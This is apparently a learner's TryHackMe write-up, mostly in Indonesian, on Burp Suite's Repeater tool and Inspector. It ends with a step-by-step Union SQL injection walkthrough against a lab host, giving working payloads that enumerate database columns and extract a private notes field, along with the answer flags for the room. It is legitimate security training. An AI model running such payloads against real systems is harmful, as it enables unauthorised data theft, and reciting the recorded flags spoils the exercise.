Burp Suite Part 1
Burp Suite: The Basics
DONE
Burp Suite: Repeater
What Is Repeater?
Pengertian
Repeater adalah fitur di Burp Suite untuk:
- Mengedit dan mengirim ulang request HTTP
- Menguji endpoint secara manual berulang kali
- Bisa menggunakan request dari Proxy atau membuat request sendiri (mirip cURL)
Fungsi Utama
- Memodifikasi request dengan mudah
- Mengirim request berkali-kali (resend)
- Melihat respon secara detail (termasuk tampilan visual)
- Membantu eksplorasi dan testing manual aplikasi web
Bagian Interface Repeater

1. Request List
- Menampilkan daftar request
- Bisa menyimpan & mengelola banyak request sekaligus
2. Request Controls
- Tombol kirim request (Send)
- Stop request
- Navigasi history request
3. Request & Response View
- Area utama
- Edit request di bagian Request
- Lihat hasil di bagian Response
4. Layout Options
- Mengatur tampilan:
- Horizontal (default)
- Vertical
- Tab terpisah
5. Inspector
- Mempermudah analisis & edit request tanpa raw format
- Lebih user-friendly
6. Target
- Menentukan tujuan request (IP/domain)
- Biasanya otomatis terisi dari Proxy
- Which sections gives us a more intuitive control over our requests?
Inspector
Basic Usage
Alur Penggunaan
- Tangkap request menggunakan Proxy
- Kirim ke Repeater:
- Klik kanan → Send to Repeater
- Shortcut: Ctrl + R
Penggunaan di Repeater
- Request muncul di Request View
- Klik Send → Response akan muncul
- Bisa edit request langsung lalu kirim ulang
Modifikasi Request
- Ubah bagian request (header, parameter, dll)
- Contoh:
- Ubah
Connection: close→open➡ Response akan berubah sesuai request baru
- Ubah
Fitur Tambahan
- History navigation:
- Lihat perubahan sebelumnya/selanjutnya
- Target & Inspector otomatis terisi dari request
- Which view will populate when sending a request from the Proxy module to Repeater?
Request
Message Analysis Toolbar
Pretty
- Default
- Response diformat agar lebih mudah dibaca
Raw
- Menampilkan response asli tanpa formatting
Hex
- Menampilkan dalam bentuk byte/hexadecimal
- Berguna untuk file binary
Render
- Menampilkan seperti tampilan browser (visual web)
- Jarang digunakan, biasanya fokus ke source code
Show Non-Printable Characters (\n)
- Menampilkan karakter tersembunyi seperti:
\r\n(newline pada HTTP)
- Berguna untuk analisis struktur response tertentu
- Which option allows us to visualize the page as it would appear in a web browser?
Render
Inspector
Pengertian
Inspector adalah fitur tambahan di Repeater (dan Proxy) untuk:
- Menampilkan request/response secara terstruktur & visual
- Mempermudah edit tanpa raw text
Fungsi Utama
- Melihat komponen request/response dalam bentuk tabel
- Mengedit request dengan lebih mudah
- Membandingkan perubahan dengan versi raw
Bagian yang Bisa Dimodifikasi
Request Attributes
- Mengubah:
- URL / resource
- HTTP method (GET, POST, dll)
- Protocol (HTTP/1 → HTTP/2)
Request Query Parameters
- Parameter di URL (GET)
- Contoh:
?redirect=false
Request Body Paramete
- Data pada request POST
- Bisa diedit sebelum dikirim ulang
Request Cookies
- Daftar cookie yang dikirim
- Bisa ditambah, ubah, atau hapus
Request Headers
- Melihat & mengedit header
- Bisa menambah/menghapus header ➡ Berguna untuk testing respon server
Bagian Response
Response Headers
- Header dari server
- Tidak bisa diubah
- Muncul setelah request dikirim
- Which section in Inspector is specific to POST requests?
Body Parameters
Practical Example
- http://10.49.170.0/
- add request Header:
FlagAuthorised: True
ingat request header bukan di body, jadi pastikan menambahkannya di bagian header, bukan di body parameter atau query parameter.

- What is the flag you receive?
- hint: Make sure you leave the two blank lines at the bottom of the request!
THM{Yzg2MWI2ZDhlYzdlNGFiZTUzZTIzMzVi}
Challenge
tinggal ubah dari products/3 menjadi products/-3 untuk membuat internal server error (500) dan mendapatkan flagnya.
- What is the flag you receive when you cause a 500 error in the endpoint?
THM{N2MzMzFhMTA1MmZiYjA2YWQ4M2ZmMzhl}
ExtraMile Challenge
Tujuan
Eksploitasi Union SQL Injection pada endpoint:
/about/ID➡ Mengambil data notes (CEO) dari database
Langkah Eksploitasi
1. Capture & Kirim ke Repeater
- Target:
http://10.49.141.230/about/2 - Kirim ke Repeater (Ctrl + R)
2. Deteksi SQLi
- Tambahkan
':/about/2'
➡ Response: 500 Internal Server Error ➡ Menandakan SQLi berhasil
3. Informasi dari Error
Query yang bocor:
SELECT firstName, lastName, pfpLink, role, bio
FROM people WHERE id = 2'➡ Didapat:
- Table:
people - Jumlah kolom: 5
- Kolom: firstName, lastName, pfpLink, role, bio
4. Enumerasi Nama Kolom
Gunakan:
/about/0 UNION ALL SELECT column_name,null,null,null,null
FROM information_schema.columns
WHERE table_name="people"➡ Gunakan 0 agar query asli tidak tampil
5. Ambil Semua Kolom
Gunakan:
/about/0 UNION ALL SELECT group_concat(column_name),null,null,null,null
FROM information_schema.columns
WHERE table_name="people"➡ Ditemukan kolom:
- id, firstName, lastName, pfpLink, role, shortRole, bio, notes
6. Ambil Data Target
- Target kolom:
notes - ID CEO:
1
Payload:
/about/0 UNION ALL SELECT notes,null,null,null,null
FROM people WHERE id = 1➡ Berhasil mendapatkan data (flag)
curl http://10.49.141.230/about/2
curl "http://10.49.141.230/about/2'"
# <h2><code>Invalid statement: <code>SELECT firstName, lastName, pfpLink, role, bio FROM people WHERE id = 2'</code></code></h2>
# use Burp Suite
GET /about/0 UNION ALL SELECT column_name,null,null,null,null FROM information_schema.columns WHERE table_name="people" HTTP/1.1
# About | id None
GET /about/0 UNION ALL SELECT group_concat(column_name),null,null,null,null FROM information_schema.columns WHERE table_name="people" HTTP/1.1
# <title>About | id,firstName,lastName,pfpLink,role,shortRole,bio,notes None</title>
GET /about/0 UNION ALL SELECT notes,null,null,null,null FROM people WHERE id = 1 HTTP/1.1
# <title>About | THM{ZGE3OTUyZGMyMzkwNjJmZjg3Mzk1NjJh} None</title>- Exploit the union SQL injection vulnerability in the site. What is the flag?
THM{ZGE3OTUyZGMyMzkwNjJmZjg3Mzk1NjJh}